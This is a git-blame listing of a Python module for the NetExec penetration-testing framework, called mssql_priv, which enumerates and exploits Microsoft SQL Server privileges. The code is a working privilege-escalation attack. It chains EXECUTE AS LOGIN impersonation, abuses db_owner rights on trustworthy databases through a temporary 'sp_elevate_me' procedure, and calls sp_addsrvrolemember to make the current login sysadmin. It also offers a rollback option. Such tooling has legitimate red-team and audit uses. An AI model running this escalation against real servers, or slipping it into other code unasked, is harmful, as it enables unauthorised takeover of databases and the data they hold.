2022-07-18 23:59:14 +00:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
# -*- coding: utf-8 -*-
|
2021-03-26 11:45:13 +00:00
|
|
|
# Author:
|
|
|
|
# Romain de Reydellet (@pentest_soka)
|
|
|
|
|
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.logger import highlight
|
2021-03-26 11:45:13 +00:00
|
|
|
|
|
|
|
|
|
|
|
class User:
|
|
|
|
def __init__(self, username):
|
|
|
|
# current username
|
|
|
|
self.username = username
|
|
|
|
# user(s) we can impersonate
|
|
|
|
self.grantors = []
|
|
|
|
self.parent = None
|
|
|
|
self.is_sysadmin = False
|
|
|
|
self.dbowner = None
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2021-03-26 11:45:13 +00:00
|
|
|
def __str__(self):
|
|
|
|
return f"User({self.username})"
|
|
|
|
|
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2023-05-02 15:17:59 +00:00
|
|
|
Enumerate MSSQL privileges and exploit them
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
name = "mssql_priv"
|
2021-03-26 11:45:13 +00:00
|
|
|
description = "Enumerate and exploit MSSQL privileges"
|
2023-05-02 15:17:59 +00:00
|
|
|
supported_protocols = ["mssql"]
|
2021-03-26 11:45:13 +00:00
|
|
|
opsec_safe = True
|
|
|
|
multiple_hosts = True
|
|
|
|
|
2023-05-07 02:45:08 +00:00
|
|
|
def __init__(self):
|
|
|
|
self.admin_privs = None
|
|
|
|
self.current_user = None
|
|
|
|
self.current_username = None
|
|
|
|
self.mssql_conn = None
|
|
|
|
self.action = None
|
|
|
|
self.context = None
|
|
|
|
|
2021-03-26 11:45:13 +00:00
|
|
|
def options(self, context, module_options):
|
|
|
|
"""
|
|
|
|
ACTION Specifies the action to perform:
|
|
|
|
- enum_priv (default)
|
|
|
|
- privesc
|
2021-05-30 16:28:14 +00:00
|
|
|
- rollback (remove sysadmin privilege)
|
2021-03-26 11:45:13 +00:00
|
|
|
"""
|
|
|
|
self.action = None
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context = context
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
if "ACTION" in module_options:
|
|
|
|
self.action = module_options["ACTION"]
|
2021-03-26 11:45:13 +00:00
|
|
|
|
|
|
|
def on_login(self, context, connection):
|
|
|
|
# get mssql connection
|
|
|
|
self.mssql_conn = connection.conn
|
|
|
|
# fetch the current user
|
|
|
|
self.current_username = self.get_current_username()
|
|
|
|
self.current_user = User(self.current_username)
|
|
|
|
self.current_user.is_sysadmin = self.is_admin()
|
|
|
|
self.current_user.dbowner = self.check_dbowner_privesc()
|
|
|
|
|
2021-05-30 16:28:14 +00:00
|
|
|
if self.action == "rollback":
|
|
|
|
if not self.current_user.is_sysadmin:
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.fail(f"{self.current_username} is not sysadmin")
|
2021-05-30 16:28:14 +00:00
|
|
|
return
|
|
|
|
if self.remove_sysadmin_priv():
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.success("sysadmin role removed")
|
2021-05-30 16:28:14 +00:00
|
|
|
else:
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.success("failed to remove sysadmin role")
|
2021-05-30 16:28:14 +00:00
|
|
|
return
|
|
|
|
|
2021-03-26 11:45:13 +00:00
|
|
|
if self.current_user.is_sysadmin:
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.success(f"{self.current_username} is already a sysadmin")
|
2021-03-26 11:45:13 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
# build path
|
2023-05-07 02:45:08 +00:00
|
|
|
self.perform_impersonation_check(self.current_user)
|
2021-03-26 11:45:13 +00:00
|
|
|
# look for a privesc path
|
2023-05-02 15:17:59 +00:00
|
|
|
target_user = self.browse_path(context, self.current_user, self.current_user)
|
2021-03-26 11:45:13 +00:00
|
|
|
if self.action == "privesc":
|
|
|
|
if not target_user:
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.fail("can't find any path to privesc")
|
2021-03-26 11:45:13 +00:00
|
|
|
else:
|
|
|
|
exec_as = self.build_exec_as_from_path(target_user)
|
|
|
|
# privesc via impersonation privilege
|
|
|
|
if target_user.is_sysadmin:
|
2023-05-02 15:17:59 +00:00
|
|
|
self.do_impersonation_privesc(self.current_username, exec_as)
|
2021-03-26 11:45:13 +00:00
|
|
|
# privesc via dbowner privilege
|
|
|
|
elif target_user.dbowner:
|
|
|
|
self.do_dbowner_privesc(target_user.dbowner, exec_as)
|
|
|
|
if self.is_admin_user(self.current_username):
|
2023-09-14 21:07:15 +00:00
|
|
|
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("nxc", "pwn3d_label"))))
|
2021-03-26 11:45:13 +00:00
|
|
|
|
|
|
|
def build_exec_as_from_path(self, target_user):
|
|
|
|
path = [target_user.username]
|
|
|
|
parent = target_user.parent
|
|
|
|
while parent:
|
|
|
|
path.append(parent.username)
|
|
|
|
parent = parent.parent
|
|
|
|
# remove the last one
|
|
|
|
path.pop(-1)
|
|
|
|
return self.sql_exec_as(reversed(path))
|
|
|
|
|
|
|
|
def browse_path(self, context, initial_user: User, user: User) -> User:
|
|
|
|
if initial_user.is_sysadmin:
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.success(f"{initial_user.username} is sysadmin")
|
2021-03-26 11:45:13 +00:00
|
|
|
return initial_user
|
|
|
|
elif initial_user.dbowner:
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.success(f"{initial_user.username} can privesc via dbowner")
|
2021-03-26 11:45:13 +00:00
|
|
|
return initial_user
|
|
|
|
for grantor in user.grantors:
|
|
|
|
if grantor.is_sysadmin:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
|
2021-03-26 11:45:13 +00:00
|
|
|
return grantor
|
|
|
|
elif grantor.dbowner:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
|
2021-03-26 11:45:13 +00:00
|
|
|
return grantor
|
|
|
|
else:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.display(f"{user.username} can impersonate: {grantor.username}")
|
2021-03-26 11:45:13 +00:00
|
|
|
return self.browse_path(context, initial_user, grantor)
|
|
|
|
|
|
|
|
def query_and_get_output(self, query):
|
2023-05-07 02:45:08 +00:00
|
|
|
# try:
|
|
|
|
results = self.mssql_conn.sql_query(query)
|
|
|
|
# self.mssql_conn.printRows()
|
|
|
|
# query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
|
|
|
# query_output = results.strip("\n-")
|
|
|
|
return results
|
|
|
|
# except Exception as e:
|
|
|
|
# return False
|
2021-03-26 11:45:13 +00:00
|
|
|
|
|
|
|
def sql_exec_as(self, grantors: list) -> str:
|
|
|
|
exec_as = []
|
|
|
|
for grantor in grantors:
|
|
|
|
exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';")
|
2023-05-02 15:17:59 +00:00
|
|
|
return "".join(exec_as)
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2023-05-07 02:45:08 +00:00
|
|
|
def perform_impersonation_check(self, user: User, grantors=[]):
|
2021-03-26 11:45:13 +00:00
|
|
|
# build EXECUTE AS if any grantors is specified
|
|
|
|
exec_as = self.sql_exec_as(grantors)
|
|
|
|
# do we have any privilege ?
|
|
|
|
if self.update_priv(user, exec_as):
|
|
|
|
return
|
|
|
|
# do we have any grantors ?
|
|
|
|
new_grantors = self.get_impersonate_users(exec_as)
|
|
|
|
for new_grantor in new_grantors:
|
|
|
|
# skip the case when we can impersonate ourself
|
|
|
|
if new_grantor == user.username:
|
|
|
|
continue
|
|
|
|
# create a new user and add it as a grantor of the current user
|
2023-05-07 02:45:08 +00:00
|
|
|
if new_grantor not in grantors:
|
|
|
|
new_user = User(new_grantor)
|
|
|
|
new_user.parent = user
|
|
|
|
user.grantors.append(new_user)
|
|
|
|
grantors.append(new_grantor)
|
|
|
|
# perform the same check on the grantor
|
|
|
|
self.perform_impersonation_check(new_user, grantors)
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def update_priv(self, user: User, exec_as=""):
|
2021-03-26 11:45:13 +00:00
|
|
|
if self.is_admin_user(user.username):
|
|
|
|
user.is_sysadmin = True
|
|
|
|
return True
|
|
|
|
user.dbowner = self.check_dbowner_privesc(exec_as)
|
|
|
|
return user.dbowner
|
|
|
|
|
|
|
|
def get_current_username(self) -> str:
|
2023-05-07 02:45:08 +00:00
|
|
|
return self.query_and_get_output("select SUSER_NAME()")[0][""]
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def is_admin(self, exec_as="") -> bool:
|
|
|
|
res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')")
|
2021-03-26 11:45:13 +00:00
|
|
|
self.revert_context(exec_as)
|
2023-05-07 02:45:08 +00:00
|
|
|
is_admin = res[0][""]
|
|
|
|
self.context.log.debug(f"IsAdmin Result: {is_admin}")
|
|
|
|
if is_admin:
|
|
|
|
self.context.log.debug(f"User is admin!")
|
2021-03-26 11:45:13 +00:00
|
|
|
self.admin_privs = True
|
|
|
|
return True
|
|
|
|
else:
|
|
|
|
return False
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def get_databases(self, exec_as="") -> list:
|
2023-05-08 18:39:36 +00:00
|
|
|
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
|
2021-03-26 11:45:13 +00:00
|
|
|
self.revert_context(exec_as)
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.debug(f"Response: {res}")
|
|
|
|
self.context.log.debug(f"Response Type: {type(res)}")
|
|
|
|
tables = [table["name"] for table in res]
|
2021-03-26 11:45:13 +00:00
|
|
|
return tables
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def is_dbowner(self, database, exec_as="") -> bool:
|
2021-03-26 11:45:13 +00:00
|
|
|
query = f"""select rp.name as database_role
|
|
|
|
from [{database}].sys.database_role_members drm
|
|
|
|
join [{database}].sys.database_principals rp
|
|
|
|
on (drm.role_principal_id = rp.principal_id)
|
|
|
|
join [{database}].sys.database_principals mp
|
|
|
|
on (drm.member_principal_id = mp.principal_id)
|
|
|
|
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"""
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.debug(f"Query: {query}")
|
2021-03-26 11:45:13 +00:00
|
|
|
res = self.query_and_get_output(exec_as + query)
|
2023-05-07 02:45:08 +00:00
|
|
|
self.context.log.debug(f"Response: {res}")
|
2021-03-26 11:45:13 +00:00
|
|
|
self.revert_context(exec_as)
|
2023-05-07 02:45:08 +00:00
|
|
|
if res:
|
|
|
|
if "database_role" in res[0] and res[0]["database_role"] == "db_owner":
|
|
|
|
return True
|
|
|
|
else:
|
|
|
|
return False
|
|
|
|
return False
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def find_dbowner_priv(self, databases, exec_as="") -> list:
|
2021-03-26 11:45:13 +00:00
|
|
|
match = []
|
|
|
|
for database in databases:
|
|
|
|
if self.is_dbowner(database, exec_as):
|
|
|
|
match.append(database)
|
|
|
|
return match
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def find_trusted_db(self, exec_as="") -> list:
|
2021-03-26 11:45:13 +00:00
|
|
|
query = """SELECT d.name AS DATABASENAME
|
|
|
|
FROM sys.server_principals r
|
|
|
|
INNER JOIN sys.server_role_members m
|
|
|
|
ON r.principal_id = m.role_principal_id
|
|
|
|
INNER JOIN sys.server_principals p ON
|
|
|
|
p.principal_id = m.member_principal_id
|
|
|
|
inner join sys.databases d
|
|
|
|
on suser_sname(d.owner_sid) = p.name
|
|
|
|
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
|
|
|
|
and r.type = 'R' and r.name = N'sysadmin'"""
|
|
|
|
res = self.query_and_get_output(exec_as + query)
|
|
|
|
self.revert_context(exec_as)
|
2023-05-07 02:45:08 +00:00
|
|
|
return res
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def check_dbowner_privesc(self, exec_as=""):
|
2021-03-26 11:45:13 +00:00
|
|
|
databases = self.get_databases(exec_as)
|
|
|
|
dbowner = self.find_dbowner_priv(databases, exec_as)
|
|
|
|
trusted_db = self.find_trusted_db(exec_as)
|
|
|
|
# return the first match
|
|
|
|
for db in dbowner:
|
|
|
|
if db in trusted_db:
|
|
|
|
return db
|
|
|
|
return None
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def do_dbowner_privesc(self, database, exec_as=""):
|
2021-03-26 11:45:13 +00:00
|
|
|
# change context if necessary
|
|
|
|
self.query_and_get_output(exec_as)
|
|
|
|
# use database
|
|
|
|
self.query_and_get_output(f"use {database};")
|
|
|
|
query = f"""CREATE PROCEDURE sp_elevate_me
|
|
|
|
WITH EXECUTE AS OWNER
|
|
|
|
as
|
|
|
|
begin
|
|
|
|
EXEC sp_addsrvrolemember '{self.current_username}','sysadmin'
|
|
|
|
end"""
|
|
|
|
self.query_and_get_output(query)
|
|
|
|
self.query_and_get_output("EXEC sp_elevate_me;")
|
|
|
|
self.query_and_get_output("DROP PROCEDURE sp_elevate_me;")
|
|
|
|
self.revert_context(exec_as)
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def do_impersonation_privesc(self, username, exec_as=""):
|
2021-03-26 11:45:13 +00:00
|
|
|
# change context if necessary
|
|
|
|
self.query_and_get_output(exec_as)
|
|
|
|
# update our privilege
|
2023-05-02 15:17:59 +00:00
|
|
|
self.query_and_get_output(f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'")
|
2021-03-26 11:45:13 +00:00
|
|
|
self.revert_context(exec_as)
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
def get_impersonate_users(self, exec_as="") -> list:
|
2021-03-26 11:45:13 +00:00
|
|
|
query = """SELECT DISTINCT b.name
|
|
|
|
FROM sys.server_permissions a
|
|
|
|
INNER JOIN sys.server_principals b
|
|
|
|
ON a.grantor_principal_id = b.principal_id
|
2021-05-30 16:28:14 +00:00
|
|
|
WHERE a.permission_name like 'IMPERSONATE%'"""
|
2021-03-26 11:45:13 +00:00
|
|
|
res = self.query_and_get_output(exec_as + query)
|
2023-05-07 02:45:08 +00:00
|
|
|
# self.context.log.debug(f"Result: {res}")
|
2021-03-26 11:45:13 +00:00
|
|
|
self.revert_context(exec_as)
|
2023-05-07 02:45:08 +00:00
|
|
|
users = [user["name"] for user in res]
|
|
|
|
return users
|
2021-03-26 11:45:13 +00:00
|
|
|
|
2021-05-30 16:28:14 +00:00
|
|
|
def remove_sysadmin_priv(self) -> bool:
|
2023-05-08 18:39:36 +00:00
|
|
|
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
|
2021-05-30 16:28:14 +00:00
|
|
|
return not self.is_admin()
|
|
|
|
|
2021-03-26 11:45:13 +00:00
|
|
|
def is_admin_user(self, username) -> bool:
|
2023-05-08 18:39:36 +00:00
|
|
|
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
2021-05-30 16:28:14 +00:00
|
|
|
try:
|
|
|
|
if int(res):
|
|
|
|
self.admin_privs = True
|
|
|
|
return True
|
|
|
|
else:
|
|
|
|
return False
|
|
|
|
except:
|
2021-03-26 11:45:13 +00:00
|
|
|
return False
|
|
|
|
|
|
|
|
def revert_context(self, exec_as):
|
2023-05-02 15:17:59 +00:00
|
|
|
self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE"))
|